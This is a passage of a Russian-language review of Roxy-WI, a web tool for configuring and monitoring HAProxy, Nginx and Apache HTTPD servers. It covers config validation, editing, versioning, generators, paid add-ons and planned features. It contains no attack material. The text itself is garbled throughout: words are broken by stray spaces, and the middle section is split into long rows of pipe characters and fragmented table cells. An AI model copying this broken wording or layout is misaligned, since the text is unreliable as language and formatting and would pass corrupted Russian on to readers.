Автомати ческая установ ка Apache HTTPD в текущей версии не поддержи вается — вероятно , она появится в будущих версиях . C Nginx у меня тоже воз никла проблема — на Ubuntu 22 LTS он не установил ся — ни с «Докером», ни без.
Ошибка установ ки
Но добавление серверов , конечно , всего лишь вспомога тель ная функция . Настоящие преиму щес тва Roxy-WI видны в его подходе к работе с кон фигами.
Работа с конфигами |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
Наибо лее развито |
управление |
именно HAProxy, посколь |
ку изначаль |
но проект |
||||||||||||||||||||||||||||||||||||||||||||||||
концен три ровал |
ся на нем. Функции |
|
для работы с Nginx и Apache HTTPD |
|||||||||||||||||||||||||||||||||||||||||||||||||
активно развива |
ются |
и пока уступают |
интерфейсу для HAProxy. Тем не менее |
|||||||||||||||||||||||||||||||||||||||||||||||||
сама концепция |
|
управления конфигами |
явно показывает |
преиму щес тва спе |
||||||||||||||||||||||||||||||||||||||||||||||||
циализации |
|
и в итоге вполне сможет составить |
конкурен |
цию |
решениям в духе |
|||||||||||||||||||||||||||||||||||||||||||||||
infrastructure as code. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
Конфиги |
|
|
HAProxy можно проверить |
на правиль |
ность |
перед отправкой |
||||||||||||||||||||||||||||||||||||||||||||||
на сервер . Понятно , что это обертка для haproxy |
-c, но экономия |
времени |
||||||||||||||||||||||||||||||||||||||||||||||||||
очевид на . Та же функция |
должна |
работать на Nginx (и быть аналогом |
|
nginx - |
||||||||||||||||||||||||||||||||||||||||||||||||
t), но у меня Roxy-WI пропус тил конфиг |
с ошибками |
синтакси |
са . |
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||
Редак тирова |
ние |
конфигов |
весьма продуман |
но . Веб редактор , конечно , |
||||||||||||||||||||||||||||||||||||||||||||||||
никогда не сравнится |
с Vim, Emacs или VSCode в деле редактирова |
ния |
тек |
|||||||||||||||||||||||||||||||||||||||||||||||||
ста, но редактор |
|
Roxy-WI компенси |
рует |
это специали |
заци |
ей . К примеру |
, |
|||||||||||||||||||||||||||||||||||||||||||||
в режиме просмотра |
можно показать или свернуть |
только определен |
ные |
сек |
||||||||||||||||||||||||||||||||||||||||||||||||
ции конфига |
, а в режиме редактирова |
ния работает подсвет |
ка |
синтакси |
са . |
|
||||||||||||||||||||||||||||||||||||||||||||||
Важная |
возможность |
— |
автомати |
чес кая репликация |
|
конфигов |
на резер |
|||||||||||||||||||||||||||||||||||||||||||||
вный сервер |
и версиони |
рова |
ние . В рамках подхода |
infrastructure as code |
||||||||||||||||||||||||||||||||||||||||||||||||
мы бы хранили |
|
конфиги |
|
или |
|
исходный материал |
для |
|
их |
|
создания |
в Git |
||||||||||||||||||||||||||||||||||||||||
и занимались |
бы контро лем |
версий |
сами. Roxy-WI делает это за нас: каждая |
|||||||||||||||||||||||||||||||||||||||||||||||||
редакция |
конфига |
сохраня |
ется |
внутри Roxy-WI и доступна |
для отката , прос |
|||||||||||||||||||||||||||||||||||||||||||||||
мотра и сравнения |
с другими |
редакциями |
. Хотя Roxy-WI не использует |
сис |
||||||||||||||||||||||||||||||||||||||||||||||||
тему контро ля версий |
и хранит архивные конфиги |
в обычных файлах , он спо |
||||||||||||||||||||||||||||||||||||||||||||||||||
собен показывать |
различия |
между версиями |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
Примене |
ние |
|
|
системы |
|
контро ля версий |
сэкономило |
|
бы место на диске |
|||||||||||||||||||||||||||||||||||||||||||
и упростило бы поддер жку |
|
описаний |
изменений |
— хочется увидеть |
это в |
|||||||||||||||||||||||||||||||||||||||||||||||
будущих версиях |
. В текущей версии |
поддержи |
вает |
ся только периоди чес кое |
||||||||||||||||||||||||||||||||||||||||||||||||
резервное |
|
копирование |
в удален ный |
репозиторий |
Git и только в версии |
|||||||||||||||||||||||||||||||||||||||||||||||
Enterprise. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Кроме того, именно для HAProxy в Roxy-WI есть широкий набор генера торов секций конфига .
|
|
|
|
|
Генера |
торы |
конфигов |
HAProxy |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
||||||||
Отдель |
но |
приятно |
то, что перед отправкой |
сгенери |
рован |
ного |
конфига |
||||||||||
на сервер |
можно просмотреть |
его текст, — это выгодно отличает |
Roxy-WI |
||||||||||||||
от проектов |
, где процесс |
для пользовате |
ля непрозра |
чен . |
|
|
|
ДОПОЛНИТЕЛЬНЫЕ СЕРВИСЫ И ИНТЕГРАЦИИ
Тем пользовате лям, которые поддержи вают проект финансово , доступны
не только собранные пакеты с самим Roxy-WI, но и ряд дополнитель ных сер висов. Я уже упоминал сервис резервно го копирования конфигов , но им все не ограничи вает ся . Другой полезный сервис — Roxy-WI Checker, который помогает мониторить серверы и рассылать уведом ления об инциден тах . Разумеется , мониторинг и уведом ление можно настро ить и самому, благо инстру мен тов для этих целей огромное количество . Преиму щес тво Roxy-WI Checker — в интеграции с самим Roxy-WI. Ему автомати чес ки становит ся известно о серверах кластера и их сервисах , так что добавление серверов в мониторинг перестает быть отдельной задачей. Сервис может автомати
чески отправлять уведом ление в каналы Slack или Telegram, достаточ но ука зать токен для их API. Кроме того, уведом ления о серверах из разных групп можно отправлять в разные каналы, что полезно организа циям с выделен ными командами админов для разных частей проекта .
ПЛАНЫ НА БУДУЩЕЕ
Проект Roxy-WI не стоит на месте и постоян но развива ется. Авторы планиру ют в будущих версиях добавить новые возможнос ти настрой ки отказоус той
чивости с помощью Keepalived, поддер жку WAF (Web Application Firewall)
для Nginx, а также существен но улучшить работу с Apache HTTPD (например , поддер жку сбора статис тики и резервно го копирования конфигов ). Обещают исправить и недостатки интерфейса и в целом собираются его улучшить .
ЗАКЛЮЧЕНИЕ
Roxy-WI, безусловно , многообе щающий проект . Задача настрой ки и управле ния кластерами веб серверов — сложная и актуаль ная, и удачное решение для ее автомати зации может сэкономить админам много времени и уберечь
их от ошибок . На данный момент Roxy-WI хорошо справляет ся с автомати зацией настрой ки HAProxy и движет ся в сторону полного решения для управления всеми компонен тами кластера .
Тем не менее Roxy-WI — помощник админа кластера , а не альтер натива ему. Никакой инстру мент не заменит собствен ные знания и опыт!